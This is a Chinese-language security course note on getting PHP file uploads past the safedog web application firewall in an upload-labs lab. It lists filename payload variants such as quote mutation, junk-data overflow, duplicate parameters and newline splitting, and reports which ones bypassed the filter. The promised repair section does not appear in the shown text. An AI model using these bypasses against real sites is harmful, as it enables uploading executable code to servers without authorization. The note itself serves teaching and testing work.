24：WEB漏洞-文件上传之WAF绕过及安全修复

2023-11-03 23:05:22

本课重点

案例1：上传数据包参数对应修改测试
案例2：safedog+云服务器+uploadlabs测试
案例3：safedog+云服务器+uploadlabs_fuzz测试
案例4：文件上传安全修复方案-函数自定义及WAF

案例1：上传数据包参数对应修改测试

上传参数名解析：明确哪些东西能修改？

Content-Dispostion：一般可更改
name：表单参数值，不能更改
filename：文件名，可以更改
Content-Type：文件MIME，视情况而定

案例2：safedog+云服务器+uploadlabs测试

常见绕过方法：

数据溢出-防匹配（xxx...）
符号变异-防匹配（' " ;）
数据截断-防匹配（%00 ; 换行）
重复数据-防匹配（参数多次）

过safedog之Payload:

大量垃圾数据缓冲溢出（Content-Disposition，filename等）
filename=xx.php
filename="xx.php
filename='xx.php
filename="x".php
filename="x"x.php
filename="a.jpg;.php"
filename="Content-Disposition:form-data;name="upload_file";x.php"
filename="x.jpg";filename="x.jpg";....filename="x.php";
filename="/xxx/x.php"
filename=
"
x
.
p
h
p
"
主要是学习思路，其他waf绕过可参考思路进行尝试

案例演示
<1>上传一个PHP文件，被safedog拦截，原因是安全狗中配置了相关防护，该防护是通过检测关键字实现的，

<2>方法1：在数据包filename之前，手动加入大量垃圾数据（以分号结尾），造成数据溢出，防止waf匹配关键字，从而绕过waf防护。

<3>方法2：使用符号变异的方法，防止waf匹配关键字，从而绕过waf防护。比如原来是filename="xx.php"，我们可以手动改为filename='xx.php'、filename="xx.php、filename='xx.php、filename=xx.php"、filename=xx.php'、filename=xx.php等形式，尝试上传。经过测试，以下三种方式可以绕过safedog文件防护。

filename="xx.php
filename='xx.php
filename=xx.php

通过以上测试，猜测安全狗防护机制是取filename后面最后一个引号之前的数据与黑名单匹配。此时我们就有了更多思路，比如改为filename="x".php，安全狗会取引号中的x与后缀黑名单进行匹配，成功绕过，上传到服务器上的文件名为.php。或者改为filename="x"x.php，此时上传到服务器上的文件名为x.php。